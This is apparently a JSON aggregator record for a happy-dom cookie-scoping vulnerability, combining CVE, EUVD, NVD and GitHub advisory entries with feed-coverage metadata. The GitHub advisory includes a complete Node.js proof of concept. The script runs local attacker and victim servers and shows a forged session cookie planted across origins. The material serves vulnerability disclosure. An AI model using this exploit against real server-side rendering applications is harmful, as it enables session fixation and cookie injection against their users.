{"id":"CVE-2026-118661","revision":null,"records":[{"revision":"35cffcb5f38845e79502bf24970f2601","observedAt":"2026-11-03T14:57:17.179+00:00","statement":{"source":"cve-program","id":"CVE-2026-118661","aliases":[],"title":"Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.","state":0,"publishedAt":"2026-10-28T20:30:23.868+00:00","modifiedAt":"2026-11-03T13:33:35.617+00:00","affected":[{"ecosystem":"Vendor product","name":"happy-dom","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"capricorn86\",\n                    \"product\": \"happy-dom\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 20.14.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr","https://github.com/capricorn86/happy-dom/pull/2477","https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3","https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-118661","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-118661","identifiers":["CVE-2026-118661"]},"retained":false,"historicalAffected":[]},{"revision":"5e7a0c12069f4c44a075df65b5c50682","observedAt":"2026-11-06T00:45:18.509+00:00","statement":{"source":"euvd","id":"EUVD-2026-112468","aliases":["CVE-2026-118661","GHSA-5fpq-26gf-qwcr"],"title":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It…","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"severity":null}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr","https://github.com/capricorn86/happy-dom/pull/2477","https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3","https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-112468","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 28, 2026, 8:30:23 PM","dateUpdated":"Nov 3, 2026, 1:33:35 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-112468","identifiers":["EUVD-2026-112468","CVE-2026-118661","GHSA-5fpq-26gf-qwcr"]},"retained":false,"historicalAffected":[]},{"revision":"bc8d1cbb630a4f9fbc4eb0e0dcf7256c","observedAt":"2026-11-03T23:58:59.43+00:00","statement":{"source":"nvd","id":"CVE-2026-118661","aliases":[],"title":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It…","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.","state":0,"publishedAt":"2026-10-28T21:16:56.267+00:00","modifiedAt":"2026-11-03T14:17:31.91+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3","https://github.com/capricorn86/happy-dom/pull/2477","https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6","https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-118661","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-565"],"productCriteria":[],"sourceDates":{"published":"2026-10-28T21:16:56.267","lastModified":"2026-11-03T14:17:31.910"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-118661","identifiers":["CVE-2026-118661"]},"retained":false,"historicalAffected":[]},{"revision":"4d9bdd12fde64f1a99bf8d6626693844","observedAt":"2026-10-28T21:55:29.474+00:00","statement":{"source":"osv","id":"GHSA-5fpq-26gf-qwcr","aliases":["CVE-2026-118661"],"title":"Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies","description":"### Summary\nA cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.\n\n### Details\nhappy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.\n\n### PoC\n\nRun:\n```bash\nnode poc-happydom-cookie-domain.js\n```\n\nFull proof-of-concept source (poc-happydom-cookie-domain.js):\n```js\n// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation\n// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)\n//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)\n//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)\n//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie\n// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\nconst ATK_PORT = 19311; // attacker server, 127.0.0.1\nconst VIC_PORT = 19312; // victim server, localhost\n\nlet victimReceivedCookies = [];\n\nlet attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;\n\nconst attacker = http.createServer((req, res) => {\n  if (req.method === 'OPTIONS') {\n    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the\n    // attacker trivially answers it — an attacker-controlled server always can)\n    res.writeHead(204, {\n      'Access-Control-Allow-Origin': '*',\n      'Access-Control-Allow-Methods': 'GET, OPTIONS',\n      'Access-Control-Allow-Headers': '*'\n    });\n    res.end();\n    return;\n  }\n  res.writeHead(200, {\n    'content-type': 'image/gif',\n    'Access-Control-Allow-Origin': '*',\n    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.\n    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of\n    // the request-host; localhost is also on the Mozilla PSL).\n    'Set-Cookie': attackerSetCookie\n  });\n  res.end('GIF89a');\n});\n\nconst victim = http.createServer((req, res) => {\n  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ ok: true, user: 'alice' }));\n});\n\nfunction sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }\n\nasync function runScenario(scenario) {\n  victimReceivedCookies = [];\n  const win = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: {\n      enableJavaScriptEvaluation: true,\n      suppressInsecureJavaScriptEnvironmentWarning: true\n    }\n  });\n  try {\n    if (scenario === 'no-plant-control') {\n      // Control: app NEVER contacts attacker -> victim must receive NO cookie\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else if (scenario === 'honest-domain-control') {\n      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)\n      // -> cookie must NOT leak to localhost victim\n      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else {\n      // attack: app fetches attacker content (scraping/SSR/third-party resource)\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    }\n    await sleep(150);\n    return victimReceivedCookies;\n  } finally {\n    win.happyDOM.abort();\n  }\n}\n\nasync function main() {\n  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));\n  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));\n\n  console.log('=== happy-dom cookie-domain scoping PoC ===\\n');\n\n  const attack = await runScenario('attack');\n  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');\n  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));\n  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);\n\n  const noPlant = await runScenario('no-plant-control');\n  console.log('\\n[CONTROL] app never contacts attacker');\n  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  const honest = await runScenario('honest-domain-control');\n  console.log('\\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');\n  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)\n  const win2 = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }\n  });\n  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!\n  const readBack = win2.document.cookie;\n  console.log(`\\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);\n  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);\n  win2.happyDOM.abort();\n\n  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)\n  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');\n  const matchesBoundary = CookieURLUtility.cookieMatchesURL(\n    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },\n    new URL('https://notexample.com/')\n  );\n  console.log(`\\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);\n  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);\n\n  attacker.close();\n  victim.close();\n  process.exit(0);\n}\n\nmain().catch((e) => { console.error(e); process.exit(1); });\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true\n  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match\n```\n\n### Impact\nCookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.","state":0,"publishedAt":"2026-10-28T21:06:13+00:00","modifiedAt":"2026-10-28T21:15:05.09502+00:00","affected":[{"ecosystem":"npm","name":"happy-dom","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"20.14.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr","https://github.com/capricorn86/happy-dom/pull/2477","https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3","https://github.com/capricorn86/happy-dom","https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"],"sourceUrl":"https://github.com/advisories/GHSA-5fpq-26gf-qwcr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5fpq-26gf-qwcr","identifiers":["GHSA-5fpq-26gf-qwcr","CVE-2026-118661"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T09:27:02.0881180+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T09:27:02.088118+00:00","lastSuccessAt":"2026-11-07T09:27:02.275552+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:02.2755528+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-119922d4652e19b255c332c622ccf0862cc635682e2e6107e0a24821a354707e","complete":true,"records":420779,"lastAttemptAt":"2026-11-07T09:27:01.2826732+00:00","lastSuccessAt":"2026-11-07T09:27:01.2301134+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:01.2826732+00:00","snapshotPublishedAt":"2026-11-07T09:18:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b52a1e8adeec4da689c82b3880ed1f86","complete":true,"records":13631,"lastAttemptAt":"2026-11-07T09:38:22.8963621+00:00","lastSuccessAt":"2026-11-07T09:38:22.887+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:38:22.887+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T09:27:02.0881180+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T09:27:02.088118+00:00","lastSuccessAt":"2026-11-07T09:27:02.2763671+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:02.2763676+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1262a9fa83024e28a1560dfc0c9cdf3c","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T09:27:03.0678524+00:00","lastSuccessAt":"2026-11-07T06:27:08.533+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:08.533+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T09:27:01.6721049+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:01.6721049+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T09:27:01.4581125+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:01.4581125+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T09:27:02.0484184+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:02.0484184+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-a0b728bc1c5526b5429930c00621636eba8655069c176697c3080f8377619ad7","complete":true,"records":231291,"lastAttemptAt":"2026-11-07T09:27:01.5654151+00:00","lastSuccessAt":"2026-11-07T00:28:51.1983528+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:01.5654151+00:00","snapshotPublishedAt":"2026-11-06T23:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}